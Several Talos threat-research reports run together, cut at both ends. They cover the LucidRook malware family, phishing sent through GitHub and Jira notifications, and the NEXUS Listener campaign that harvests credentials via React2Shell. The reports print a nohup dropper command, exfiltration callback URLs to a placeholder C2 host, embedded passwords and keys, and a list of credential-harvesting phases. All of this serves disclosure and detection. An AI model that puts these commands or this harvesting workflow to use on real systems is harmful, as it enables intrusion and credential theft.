When the user clicks the LNK file, it executes the PowerShell testing framework script C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Build.bat, passing the path to binaries located in the hidden directory in order to launch the embedded malware. This is a known technique that leverages living-off-the-land binaries and scripts (LOLBAS) to evade detection.

The PowerShell process executes the following command:

The index.exe file is a legitimate Windows binary associated with the Deployment Image Servicing and Management (DISM) framework. It is abused as a loader to sideload LucidPawn via DLL search order hijacking.

The LucidPawn dropper embeds two AES-encrypted binaries: a legitimate DISM executable and the LucidRook stager. Upon execution, both binaries are decrypted and written to %APPDATA%\Local\Microsoft\WindowsApps\, with the DISM executable renamed to msedge.exe to impersonate the Microsoft Edge browser and the LucidRook stager written as DismCore.dll. Persistence is established via a LNK file in the Startup folder that launches msedge.exe. After dropping the binaries, LucidPawn launches the DISM executable to sideload the LucidRook stager.  

The LucidPawn dropper also handles decoy documents by locating files with specific document extensions (.pdf, .docx, .doc, .xlsx) in the working directory, copying them to the first layer directory, deleting the original lure LNK file, and opening the decoy using Microsoft Edge to distract the victim.

EXE-based infection chain  

The second infection chain leverages only a malicious EXE written in the .NET framework without the LucidPawn dropper.

Talos observed the EXE-based infection chain in samples uploaded to public malware repositories in December 2025. The samples were distributed as password protected 7-Zip archives named “Cleanup(密碼：33665512).7z”. Based on the Traditional Chinese language used in the archive filename, the language shown in the malicious dropper, and the geographic context of the sample upload locations, we assess with moderate to high confidence that the campaign was intended to target Taiwanese entities.

The 7-Zip archive contains a single executable file named Cleanup.exe. The extracted binary masquerades as Trend Micro™ Worry-Free™ Business Security Services, using a forged application name and icon to impersonate a legitimate security product. In addition, the binary contains a compilation timestamp that is clearly falsified (2065-01-12 14:12:28 UTC).

The executable is a simple dropper written with the .NET framework. It embeds three binary files as Base64-encoded data within its code and, upon execution, decodes and drops these files into the C:\ProgramData directory. The dropped files include a legitimate DISM executable, the LucidRook stager, and a LNK file placed in the Startup folder to establish persistence.

After execution, the program displays a decoy message box claiming that the cleanup process has completed.

LucidRook Lua-based stager 

LucidRook is a sophisticated 64-bit Windows DLL stager consisting of a Lua interpreter, embedded Rust-compiled libraries, and Lua bytecode payload. The DLL embeds a Lua 5.4.8 interpreter and retrieves a staged payload (in our sample named archive1.zip) from its C2 over FTP. After unpacking and validating the downloaded stage, the implant loads and executes the resulting Lua bytecode on the compromised host. Embedding the Lua interpreter effectively turns the native DLL into a stable execution platform while allowing the threat actor to update or tailor behavior for each target or campaigns by updating the Lua bytecode payload with a lighter and more flexible development process. This approach also improves operational security, since the Lua stage can be hosted only briefly and removed from C2 after delivery, and it can hinder post-incident reconstruction when defenders recover only the loader without the externally delivered Lua payload.  

Due to the embedded Lua interpreter and stripped Rust-compiled components, the DLL is complex to reverse engineer. The binary is approximately 1.6MB in size and contains over 3,800 functions, reflecting the amount of runtime and library code bundled into a single module. Execution is initiated via the DllGetClassObject export; however, the sample implements no COM functionality and uses the export solely as an entry point.

Upon execution, the malware’s core workflow is twofold. First, it performs host reconnaissance, collecting system information that is encrypted, packaged, and exfiltrated to the C2 infrastructure. It then retrieves an encrypted, staged Lua bytecode payload from the C2 server, which is subsequently decrypted and executed on the compromised host.

Lua interpreter embedding implementation 

LucidRook embeds a Lua 5.4.8 interpreter directly inside the DLL and uses it to execute a downloaded Lua bytecode stage. Before handing the stage to the VM, the loader verifies that the decrypted blob begins with the standard Lua bytecode magic (\x1bLua), indicating the payload is a compiled Lua chunk rather than plaintext script.

The Lua runtime is also wrapped with additional controls. Notably, the malware implements a non-standard “safe mode” that disables package.loadlib (as shown by the unique error string “package.loadlibis disabled in safe mode”), which prevents Lua payloads from loading arbitrary external DLL-based modules via the standard require/loader pathway. Additionally, in the library initialization flow observed, the malware opens common standard libraries (e.g., io, os, string, math, package) but does not open the debug library, which would normally provide powerful introspection primitives; this omission is consistent with an anti-analysis hardening choice.

String obfuscation scheme 

The LucidRook samples employ a sophisticated string obfuscation scheme. The obfuscation was applied to almost all the embedded strings including file extensions, internal identifiers, and C2 addresses. This transformation increases the difficulty of analysis and detection.

The deobfuscation follows a structured two-stage runtime process: 

1. Address calculation: Rather than using direct offsets, the malware calculates the memory address of an encrypted string through a unique series of arithmetic operations for each string. This design prevents cross-referencing encrypted data blocks to their use-sites for reverse engineering.  
2. Runtime key reconstruction and XOR decryption: Each 4-byte chunk is decrypted using XOR with a key that is not hardcoded directly. Instead, the key is reconstructed at runtime by combining a constant seed value (ending in 0x00) and a single-byte mask read from a parallel lookup table: Plaintext = Ciphertext ^ (Seed | Mask)

The use of a parallel lookup table for masks significantly complicates the creation of automated "unpacking" scripts, as the relationship between the encrypted string and its corresponding mask is obscured by the flattened control flow.

Host reconnaissance 

The malware collects several system information including user account name, computer name, driver information, user profile directory, installed applications, running process, and so on. The collected information is stored into three files (named 1.bin, 2.bin, 3.bin) with two layers of encryptions: RSA and a password-encrypted ZIP archive. The BIN files are encrypted with an embedded RSA public key (DER hash ab72813444207dba5429cf498c6ffbc69e1bd665d8007561d0973246fa7f8175) and then compressed into a ZIP file encrypted with password !,OO5*+ZEYORE%&.K1PQHxiODU^RA046. With these encryptions in place, the exfiltrated data can only be decrypted by the threat actor. The decrypted RSA public key used to encrypt exfiltrated data is:

-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEA3YeM0FbZO8QB3/ctZd2+oS8weSUwmgp33c5lVJ8InJx5yJJnXF+8 
qLL+nzwcItVQyAQbZBymN9ueIgkNRBQuRJgZOxLHG2cbNIWXMImKb5zkkyIUfCz1 
hLprvBu4i2IIeWTFyTLfIpwZ/rUn+lARRmIeWTmJezOaSh5QvVaF6Oqk5qoTXk9A 
MivxKnfFiMhlBh3/V6S4+gTzqy7IwgSuPv8IL6n5LF+N8DmIvAVCck1e2KIYMu54 
UT7ef16N60LVksADJsnk+E5CSOeD4FzSTjS9G9c3sZFP/7r7xAbr5CbKvaBvJ+49 
7OlzJjaq1H+M7aOAPKaf/hyewEHIr+W1EQIDAQAB 
-----END RSA PUBLIC KEY----- 

The encrypted data is archived into a file named archive4.zip and uploaded to the C2 FTP server using authenticated credentials obfuscated and embedded in the stager. 

C2 communication 

The LucidRook stager communicates with the abused/compromised FTP servers to not only upload the collected system information but also to download and execute Lua bytecode payload to achieve remote code execution. 

FTP servers with publicly exposed credentials 

LucidRook uses plaintext FTP for both staging and exfiltration. In the observed captures, the implant authenticates with embedded credentials, switches to binary mode (TYPE I), enters passive mode (PASV), and uploads the exfiltrated information in an archive named archive4.zip via STOR before closing the session. It then establishes a second FTP session and attempts to retrieve archive1.zip (payload) via RETR.

The LucidRook samples connect to C2 infrastructure that appears to abuse FTP servers with exposed credentials to retrieve staged payloads. Talos identified two such C2 servers, both located in Taiwan and operated by printing companies. Initially, it was unclear why the threat actor selected this infrastructure; however, further investigation revealed that both companies publicly listed FTP credentials on their official websites as part of a “file uploading service". We observed that this practice is common among local printing companies and effectively creates a pool of publicly accessible, low‑cost infrastructure that can be repurposed by threat actors as low-cost C2 staging servers.

Stealthy payload protections 

Besides what we previously mentioned about the encryption for the exfiltrated data, the threat actor also employed stealthy protection for the downloaded payload. The LucidRook sample Talos obtained (edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809) uses the password ?.aX$p8dpiP$+4a$x?=0LC=M>^>f6N]a to decrypt the archive when it’s protected and requires that an index.bin file be found within the ZIP archive. After decryption, it uses a different RSA private key (DER hash 7e851b73bd59088d60101109c9ebf7ef300971090c991b57393e4c793f5e2d33) embedded and encrypted inside the malware to decrypt the payload. The corresponding public key (DER hash a42ad963c53f2e0794e7cd0c3632cc75b98f131c3ffceb8f2f740241c097214a) for this private key is:

-----BEGIN PUBLIC KEY----- 
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArQ9deG1+FiOgxT2eX78n 
3Ni/PmrV/V6iuf+bc+ii+9wD6Pyc7QyicaZODr2YlKifwJabJuDsIcANRIQGBLf2 
8j0yG3x25rP4XTnavTyPB6s+fJgNebmB9Hhgx3AY25ufJvNAelnmXnPn/xp6tZ/V 
kup72tiwKWeBVJOZYW3qYno4n5hffdNqTFIgUZDDLhqa+nT1gD6LZ6W/BidIM70O 
gn2h8ppc8aKc893FkfvNYwhgubiDFv9rgvSVvxt0uTVERtBsCyAScD1MMvswEyK6 
LrgnyTz7KwOv5wyPfE3BPs8lpMQIyi/jcIIroyk9uLarfV/XIbgTOqEYf5/9bDSs 
iQIDAQAB 
-----END PUBLIC KEY----- 

During investigation, Talos obtained a payload from a private source which matched the index.bin file structure. However, the password from the LucidRook sample we got was not able to decrypt the archive. We also obtained another version of the payload from the FTP C2 server, but this payload includes four files that does not match the version of LucidRook sample we analyzed as shown in Figure 16.

Based on this information, we suspect that the threat actor is generating different payloads using different sets of passwords for different targets, even though they share the same C2 server. The files inside the payload also suggest it potentially leverages different modules for different capabilities for the stager. 

LucidPawn dropper 

The LucidPawn dropper shares some similarity with LucidRook, including the same COM DLL masquerade technique, obfuscation scheme, and Rust-compiled code. 

Leveraging an OAST service 

Upon execution, the LucidPawn dropper sends a DNS request to a domain “D.2fcc7078.digimg[.]store”. The domain “digimg[.]store” redirects to “dnslog[.]ink”, a public Chinese Out-of-band Application Security Testing (OAST) service. It is widely used by security researchers, penetration testers, and threat actors to verify network connectivity and vulnerability exploitation. By using this service, LucidRookoperators receive confirmation once the exploitation succeeds without setting up their own infrastructure. It is worth noting that the same service domain has been leveraged in other targeted campaigns; however, because the service is publicly accessible and can be used by any threat actor, Talos avoids making attribution based solely on this linkage.

Geo-targeting anti-analysis 

LucidPawn implements a geo-targeting anti-analysis execution gate by querying the host’s Windows UI language via the GetUserDefaultUILanguage() API. Execution continues only when the system UI language matches Traditional Chinese environments associated with Taiwan.

The implementation compares a masked LANGID against 0x0404 (zh-TW). The mask and 0xF7FF clears bit 0x0800, causing only 0x0404 (zh-TW) and 0x0C04 (zh-HK) to normalize to the same value and satisfy the check. As a result, the sample exits early on most analysis sandboxes, which commonly use 0x0409 (en-US). This control reduces exposure by limiting execution to the intended victim geography and suppressing behavior in common analyst environments.

The LucidKnight reconnaissance tool 

While hunting for additional LucidPawn samples, we identified a variant of LucidPawn (d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964). This sample shares the same geo-targeting anti-analysis logic observed in other samples used to deliver LucidRook. Compared with the LucidPawn samples associated with LucidRook delivery, however, this variant omits the callback to the out-of-band interactive service domain and functions solely as a dropper, deploying the reconnaissance tool LucidKnight (aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1) after execution.

Like other malware in the Lucid family, LucidKnight is a 64-bit Windows DLL that contains embedded Rust-compiled components to implement various functions. The malware also uses a string obfuscation scheme similar to those observed in LucidPawn and LucidRook to conceal its C2 configuration.

Upon execution, LucidKnight collects system information including the computer name, OS version, processor architecture, CPU usage, running processes, and installed software. The collected data are written to four TXT files, encrypted with an embedded RSA public key, and packaged into a password-protected ZIP archive named archive.zip using the password xZh>1<{Km1YD3[V>x]X>=1u(Da)Y=N>u. The embedded RSA public key (DER hash 852a80470536cb1fdab1a04d831923616bf00c77320a6b4656e80fc3cc722a66) is shown below:

-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEAuvXyx+rPGjS/bI6cvl8LIVVatwD6JU19EvJPlBWlmPqVm/se+3QS 
9av+X8PFgwoGXJZTEanAY4JhOMXKYSbErwrLktbEY2tFi7w3/WyPPcB6/I6zD2yU 
Mqcoqy1Z3+4CsLz4D/LZtOst4alSGOgTDeKtrWKHCyigFvndfds4pdCy78KBRtQb 
kV3UUlKQZm/37tP0CPXkKwxQ1n/+DTh265gRaVrhr4+VUagNmYta1faMLsvM8O3F 
Lu2tQiOxeSZC21z6V3kcifYiBLT0khx11JqD3jTfA41OcngZfwWYHbitDBZF7rpL 
26ZSitNxMAq1O6DrXzI5wdVn0fZgSXNEbwIDAQAB 
-----END RSA PUBLIC KEY----- 

Unlike LucidRook, which uploads collected system information to a compromised FTP server, LucidKnight exfiltrates reconnaissance data via email using the embedded Rust lettre crate, which provides SMTP message creation and delivery functionality.

Specifically, the malware constructs an email with the Traditional Chinese subject “運動資訊平台” (“Sports Information Platform”) and includes the collected data as a MIME attachment. It then resolves “smtp.gmail.com”, authenticates to the Gmail account “fexopuboriw972@gmail.com" with an embedded application key, and sends the data to the temporary email address “crimsonanabel@powerscrews.com". The following email shows an example of the content crafted by LucidKnight:

From: fexopuboriw972@gmail.com 
To: crimsonanabel@powerscrews.com 
Subject: =?utf-8?b?6YGL5YuV6LOH6KiK5bmz5Y+w?= 
MIME-Version: 1.0 
Date: Tue, 17 Feb 2026 02:05:49 +0000 
Content-Type: multipart/mixed; 
 boundary="vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd" 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: text/plain; charset=utf-8 
Content-Transfer-Encoding: base64 
5oKo6KqN54K65Y+w54Gj55uu5YmN5Zyo6Jed5paH5rC457qM55m85bGV55qE5pS/562W5LiK5pyJ 
5ZOq5Lqb5YW36auU55qE5oiQ5Yqf5qGI5L6L5oiW5YC85b6X5pS56YCy55qE5Zyw5pa577yf 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: application/zip 
Content-Disposition: attachment; filename="archive.zip" 
Content-Transfer-Encoding: base64 
UEsDBDMAAQBjALgQUVwEOkfvkhkAAHEZAAAFAAsAMS50eHQBmQcAAQBBRQMIAEF/fb/F6o3HptX3 
(redacted)

The discovery of LucidKnight suggests that the actor maintains a modular toolkit and may select components based on the operational context of each target, rather than deploying a fixed infection chain. LucidKnight may be used independently when lightweight reconnaissance is sufficient, or as a precursor to assess targets before committing the more complex LucidRook stager. 

The bottom line 

Based on the tactics, techniques, and procedures (TTPs) and the level of engineering investment observed across these infection chains, we assess with medium confidence that this activity reflects a targeted intrusion rather than broad, opportunistic malware distribution. Delivery via spearphishing, combined with LucidRook’s sophisticated design, suggests a sophisticated threat actor prioritizing flexibility, stealth, and victim-specific tasking.

Although Talos has not yet found a decryptable Lua bytecode payload executed by LucidRook, we are publishing these findings to make early detection possible and encourage community sharing, with the goal of uncovering additional indicators that may facilitate stronger clustering and attribution in the future.

Coverage 

The following ClamAV signature detects and blocks this threat:

• Win.Backdoor.LucidRook-10059729-0  
• Lnk.Tool.UAT-10362-10059730-0  
• Win.Dropper.UAT-10362-10059731-0  
• Win.Tool.CobaltStrike-10059732-0 

The following SNORT® rules cover this threat:  

• Snort2 Rules: 66108, 66109, 66110, 66111 
• Snort3 Rules: 301447, 301448 

Indicators of compromise (IOCs)  

IOCs for this research can also be found at our GitHub repository here.

d49761cdbea170dd17255a958214db392dc7621198f95d5eb5749859c603100a (malicious 7z) 

adf676107a6c2354d1a484c2a08c36c33d276e355a65f77770ae1ae7b7c36143 (malicious archive) 

b480092d8e5f7ca6aebdeaae676ea09281d07fc8ccf2318da2fa1c01471b818d (Forged EXE dropper that drops LucidRook) 

c2d983d3812b5b6d592b149d627b118db2debd33069efe4de4e57306ba42b5dc (Forged EXE dropper that drops LucidRook) 

6aba7b5a9b4f7ad4203f26f3fb539911369aeef502d43af23aa3646d91280ad9 (LucidPawn, DismCore.dll) 

bdc5417ffba758b6d0a359b252ba047b59aacf1d217a8b664554256b5adb071d (LucidPawn dropper, DismCore.dll) 

f279e462253f130878ffac820f5a0f9ac92dd14ad2f1e4bd21062bab7b99b839 (malicious LNK) 

166791aac8b056af8029ab6bdeec5a2626ca3f3961fdf0337d24451cfccfc05d (malicious LNK) 

11ae897d79548b6b44da75f7ab335a0585f47886ce22b371f6d340968dbed9ae (LucidRook stager, DismCore.dll) 

edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809 (LucidRook stager, DismCore.dll) 

0305e89110744077d8db8618827351a03bce5b11ef5815a72c64eea009304a34 (LucidRook stager, DismCore.dll) 

d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964 (LucidPawn dropper dropping LucidKnight) 

aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1 (LucidKnight, DismCore.dll) 

fd11f419e4ac992e89cca48369e7d774b7b2e0d28d0b6a34f7ee0bc1d943c056 (archive1.zip download from C2)

1.34.253[.]131 (abused FTP server) 

59.124.71[.]242 (abused FTP server) 

D.2fcc7078.digimg[.]store (DNS beaconing domain) 

fexopuboriw972@gmail.com 

crimsonanabel@powerscrews.com 

By Diana Brown

• Cisco Talos has recently observed an increase in activity that is leveraging notification pipelines in popular collaboration platforms to deliver spam and phishing emails.
• These emails are transmitted using the legitimate mail delivery infrastructure associated with GitHub and Jira, minimizing the likelihood that they will be blocked in transit to potential victims.
• By taking advantage of the built-in notification functionality available within these platforms, adversaries can more effectively circumvent email security and monitoring solutions and facilitate more effective delivery to potential victims.
• In most cases, these campaigns have been associated with phishing and credential harvesting activity, which is often a precursor to additional attacks once credentials have been compromised and/or initial access has been achieved. 
• During one campaign conducted on Feb. 17, 2026, approximately 2.89% of the emails observed being sent from GitHub were likely associated with this abuse activity. 

Platform abuse, social engineering, and SaaS notification hijacking 

Recent telemetry indicates an increase in threat actors leveraging the automated notification infrastructure of legitimate Software-as-a-Service (SaaS) platforms to facilitate social engineering campaigns. By embedding malicious lures within system-generated commit notifications, attackers bypass traditional reputation-based email security filters. This Platform-as-a-Proxy (PaaP) technique exploits the implicit trust organizations place in traffic originating from verified SaaS providers, effectively weaponizing legitimate infrastructure to bypass standard email authentication protocols. Talos' analysis explores how attackers abuse the notification pipelines of platforms like GitHub and Atlassian to facilitate credential harvesting and social engineering. 

The PaaP model 

The core of this campaign relies on the abuse of SaaS features to generate emails. Because the emails are dispatched from the platform's own infrastructure, they satisfy all standard authentication requirements (SPF, DKIM, and DMARC), effectively neutralizing the primary gatekeepers of modern email security. By decoupling the malicious intent from the technical infrastructure, attackers successfully deliver phishing content with a "seal of approval" that few security gateways are configured to challenge. 

Anatomy of GitHub campaign: Abusing automated notification pipelines 

The GitHub vector is a pure "notification pipeline" abuse mechanism. Attackers create repositories and push commits with payloads embedded in the commit messages. The User Interface Mechanism has two fields for text input: one is a mandatory summary, a single limited line, where the user provides a high-level overview of the change. Attackers weaponize this field to craft the initial social engineering hook, ensuring the malicious lure is the most prominent element of the resulting automated notification. The second field is an optional, extended description that allows for multi-line, detailed explanations. Attackers abuse this to place the primary scam content, such as fake billing details or fraudulent support numbers.  

By pushing a commit, the attacker triggers an automatic email notification. GitHub’s system is configured to notify collaborators of repository activity. Because the content is generated by the platform’s own system, it avoidssecurity flags. In this example, we can see the details of the commit followed by the scam message. At the bottom of the email, we have the mention of the subscription, buried at the very bottom of the page. 

The chain of Received headers shows the message entering the system from “out-28[.]smtp[.]github[.]com” (IP “192[.]30[.]252[.]211”). This is a known legitimate and verified GitHub SMTP server.  

The email contains a DKIM-Signature with “d=github[.]com”. This signature was successfully verified by the receiving server (“esa1[.]hc6633-79[.]iphmx[.]com”), proving that the email was sent by an authorized GitHub system and was not tampered with in transit. Telemetry collected over a five-day observation period indicates that 1.20% of the total traffic originating from “noreply[@]github[.]com” contained the "invoice" lure in the subject line. On the peak day of Feb. 17, 2026, this volume spiked to approximately 2.89% of the daily sample set. 

Abusing workflow and invitation logic (Jira) 

The Jira vector does not rely on a notification pipeline in the traditional sense. Jira notifications are expected in corporate environments. An email from Atlassian is rarely blocked, as it is often critical for internal project management and IT operations. The abuse here is not a "pipeline" of activity, but an abuse of the collaborative invitation feature.  

Attackers do not have access to modify the underlying HTML/CSS templates of Atlassian’s emails. Instead, they abuse the data fields that the platform injects into those templates. When an attacker creates a Jira Service Management project, they are given several fields to configure. When the platform triggers an automated “Customer Invite” or “Service Desk” notification, it automatically wraps the attacker’s input — such as a fraudulent project name or a deceptive welcome message — within its own cryptographically signed, trusted email template. By utilizing a trusted delivery pipeline, the attacker successfully obscures the origin and intent of the malicious. 

In this example, the attacker sets the "Project Name" to "Argenta." When the platform sends an automated invite, the email subject and body dynamically pull the project name. The recipient sees "Argenta" as the sender or the subject, which the platform has verified as the project name. 

The attacker placed their malicious lure subject into the "Welcome Message" or "Project Description" field. They use the "Invite Customers" feature and input the victim's email address. Atlassian’s backend then generates the email. Because the system is designed to be a "Service Desk," the email is formatted to look like a professional, automated system alert. At the bottom of the phishing email, we can see the branding footer that Jira automatically appends to email notifications.  

Strategic implications 

The trust paradox is now the primary driver of successful phishing and scamming. GitHub is abused primarily for its high developer reputation, where attackers rely on the platform’s status as an official source of automated alerts. In contrast, Jira is abused for its business-critical integration; because it is a trusted enterprise tool, attackers use it to mimic internal IT and helpdesk alerts, which employees are pre-conditioned to treat as urgent and legitimate. In both cases, attackers are using the platform's own reputation to launder their malicious content. 

How do we fundamentally change the trust model? 

Defending against PaaP attacks requires moving from the binary “trusted vs. untrusted” approach. Because attackers weaponize the platform’s own infrastructure to bypass authentication protocols (SPF/DKIM/DMARC), the gateway is effectively blind to the malicious intent. Defenders should transition to a Zero-Trust architecture that treats SaaS notifications as untrusted traffic until verified against platform-level telemetry. Moving beyond the limitations of the email gateway and adopt a fundamental paradigm shift: transitioning from reactive, signature-based filtering toward a proactive, API-driven model architecture that validates intent before a notification ever reaches the user.  

Identity and instance-level verification: We must move from "global domain trust" to "instance-level authorization." Security teams should restrict notification acceptance to specific sender addresses or IP ranges associated with their organization’s verified SaaS instances. Furthermore, by implementing Identity-Contextualization, notifications must be cross-referenced against the organization's internal SaaS directory. If a notification originates from an external or unverified account — even one hosted on a trusted platform like GitHub — it should be automatically quarantined. Verification is no longer about the server sending the email; it is about the identity of the user triggering the action. 

Upstream API-level monitoring: The most effective way to disrupt PaaP campaigns is to detect them before the notification is ever sent. Attackers must perform "precursor activities" within the platform — such as creating repositories, configuring project names, or mass-inviting users — to set the stage for their cyber-attack. By ingesting metadata from SaaS APIs (e.g., GitHub or Atlassian audit logs) into a SIEM/SOAR environment, security teams can identify these anomalous events in real-time. Detecting a "Project Creation" event that deviates from established naming conventions, originating from a country where the receiving organization has no employees or occurs outside of business hours allows for the preemptive suspension of the malicious account, neutralizing the threat at the source. Instead of waiting for a phishing email to arrive in an inbox, defenders are watching the attacker’s movements inside the platform as they set up the attack. 

Semantic intent and behavioral profiling: We must replace simple keyword matching with Business Logic Profiling. Every sanctioned SaaS tool has a functional "Communication Baseline." GitHub is for code collaboration; Jira is for project management. By defining these baselines, security teams can detect "semantic discontinuity," when the content of a notification (e.g., urgent financial billing) is incongruent with the platform's primary utility. Any notification that deviates from the expected functional profile should trigger an automated "Suspicious" banner or be routed for manual review, regardless of its technical validity. 

Mitigating cognitive automation fatigue: PaaP attacks exploit "automation fatigue," where users are conditioned to trust system-generated alerts. To break this cycle, organizations can introduce intentional friction. For high-risk SaaS interactions, such as new project invitations or requests for sensitive data, security policies should mandate out-of-band verification. By requiring a platform-native verification code or forcing the user to navigate directly to the official portal rather than clicking a link, we remove the "reflexive trust" that attackers rely on. This ensures that the platform’s "seal of approval" is validated by a deliberate human action. 

Automated takedown orchestration: Finally, the cost of attack must be increased. Security teams should integrate automated workflows that report malicious repositories or projects directly to the provider’s Trust andSafety teams. By accelerating the detection-to-takedown lifecycle, we force adversaries to constantly churn their infrastructure, making the PaaP model technically and economically unsustainable. 

By adopting this framework, the security posture evolves from "Is this email authenticated?" to "Is this platform activity authorized and consistent with our business logic?" This shift effectively strips the trusted status that attackers exploit, forcing them to operate within an environment where their actions are monitored, profiled, and verified at every stage of the pipeline. 

Acknowledgements 

Special thanks to the Talos Email Security Research Team — Dev Shah, Lucimara Borges, Bruno Antonino, Eden Avivi, Marina Barsegyan, Barbara Turino Jones, Doaa Osman, Yosuke Okazaki, and Said Toure — for their collaborative effort in identifying and mitigating these platform abuse vectors. 

Indicators of compromise (IOCs) 

IOCs for this threat can be found on our GitHub repository here. 

• Cisco Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we are tracking as “UAT-10608.” 
• Post-compromise, UAT-10608 leverages automated scripts for extracting and exfiltrating credentials from a variety of applications, that are then posted to its command and control (C2). 
• The C2 hosts a web-based graphical user interface (GUI) titled “NEXUS Listener” that can be used to view stolen information and gain analytical insights using precompiled statistics on credentials harvested and hosts compromised. 

---

Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily leveraging a collection framework dubbed “NEXUS Listener.” The systematic exploitation and exfiltration campaign has resulted in the compromise of at least 766 hosts, as of time of writing, across multiple geographic regions and cloud providers. The operation is targeting Next.js applications vulnerable to React2Shell (CVE-2025-55182) to gain initial access, then is deploying a multi-phase credential harvesting tool that harvests credentials, SSH keys, cloud tokens, and environment secrets at scale. 

The breadth of the victim set and the indiscriminate targeting pattern is consistent with automated scanning — likely based on host profile data from services like Shodan, Censys, or custom scanners to enumerate publicly reachable Next.js deployments and probe them for the described React configuration vulnerabilities. 

The core component of the framework is a web application that makes all of the exfiltrated data available to the operator in a graphical interface that includes in-depth statistics and search capabilities to allow them to sift through the compromised data. 

This post details the campaign's methodology, tools, breadth and sensitivity of the exposed data, and the implications for organizations impacted by this activity. 

This analysis is based on data collected for security research purposes. Specific credentials and victim identifiers have been withheld from this publication. Talos has informed service providers of exposed and at-risk credentials and is working with industry partners such as GitHub and AWS to quarantine credentials and inform victims. 

Metric	Count
Compromised hosts	766
Hosts with database credentials	~701 (91.5%)
Hosts with SSH private keys	~599 (78.2%)
Hosts with AWS credentials	~196 (25.6%)
Hosts with shell command history	~245 (32.0%)
Hosts with live Stripe API keys	~87 (11.4%)
Hosts with GitHub tokens	~66 (8.6%)
Total files collected	10,120

Initial access 

UAT-10608 targets public-facing web applications using components, predominately Next.js, that are vulnerable to CVE-2025-55182, broadly referred to as “React2Shell.” 

React2Shell is a pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC). RSCs expose Server Function endpoints that accept serialized data from clients. The affected code deserializes payloads from inbound HTTP requests to these endpoints without adequate validation or sanitization. 

Exploitation steps 

1. An attacker identifies a publicly accessible application using a vulnerable version of RSCs or a framework built on top of it (e.g., Next.js). 
2. The attacker crafts a malicious serialized payload designed to abuse the deserialization routine — a technique commonly used to trigger arbitrary object instantiation or method invocation on the server. 
3. The payload is sent via an HTTP request directly to a Server Function endpoint. No authentication is required. 
4. The server deserializes the malicious payload, resulting in arbitrary code execution in the server-side Node.js process. 

Once the threat actor identifies a vulnerable endpoint, the automated toolkit takes over. No further manual interaction is required to extract and exfiltrate credentials harvested from the system. 

Automated harvesting script 

Data is collected via nohup-executed shell scripts dropped in /tmp with randomized names:

/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1

This is consistent with a staged payload delivery model. The initial React exploit delivers a small dropper that fetches and runs the full multi-phase harvesting script. Upon execution, the harvesting script iterates through several phases to collect various data from the compromised system, outlined below: 

• environ - Dump running process environment variables  
• jsenv - Extract JSON-parsed environment from JS runtime  
• ssh - Harvest SSH private keys and authorized_keys  
• tokens - Pattern-match and extract credential strings  
• history - Capture shell command history  
• cloud_meta - Query cloud metadata APIs (AWS/GCP/Azure)  
• k8s - Extract Kubernetes service account tokens  
• docker - Enumerate container configurations  
• cmdline - List all running process command lines  
• proc_all - Aggregate all process environment variables 

The framework leverages a meta.json file that tracks execution state: 

 Following the completion of each collection phase, an HTTP request is made back to the C2 server running the NEXUS Listener component. In most cases, the callback takes place on port 8080 and contains the following parameters: 

• Hostname 
• Phase 
• ID 

Some examples of the full URL, executed after each phase: 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45 

NEXUS Listener 

After data is exfiltrated from a compromised system and sent back to the C2 infrastructure, it is stored in a database and made available via a web application called NEXUS Listener. In most instances, the web application front end is protected with a password, the prompt for which can be seen in Figure 1. 

 In at least one instance, the web application was left exposed, revealing a wealth of information, including the inner workings of the application itself, as well as the data that was harvested from compromised systems. 

The application contains a listing of several statistics, including the number of hosts compromised and the total number of each credential type that were successfully extracted from those hosts. It also lists the uptime of the application itself. In this case, the automated exploitation and harvesting framework was able to successfully compromise 766 hosts within a 24-hour period. 

The web application allows a user to browse through all of the compromised hosts. A given host can then be selected, bringing up a menu with all of the exfiltrated data corresponding to each phase of the harvesting script. 

The observed NEXUS Listener instances display “v3” in the title, indicating the application has gone through various stages of development before reaching the currently deployed version.

Analysis 

Cisco Talos was able to obtain data from an unauthenticated NEXUS Listener instance. The following is an analysis of that data, broken down by credential category. 

Credential Categories 

Environment secrets and API keys 

The “environ.txt” and “jsenv.txt” files contain the runtime environment of each compromised application process, exposing a variety of third-party API credentials: 

• AI platform keys: OpenAI, Anthropic, NVIDIA NIM, OpenRouter, Tavily 
• Payment processors: Stripe live secret keys (sk_live_*) 
• Cloud providers: AWS access key/secret pairs, Azure subscription credentials 
• Communication platforms: SendGrid, Brevo/Sendinblue transactional email API keys, Telegram bot tokens and webhook secrets 
• Source control: GitHub personal access tokens, GitLab tokens 
• Database connection strings: Full DATABASE_URL values including hostnames, ports, usernames, and cleartext passwords 
• Custom application secrets: Auth tokens, dashboard passwords, webhook signing secrets — often high-entropy hex or Base64 strings 

SSH private keys 

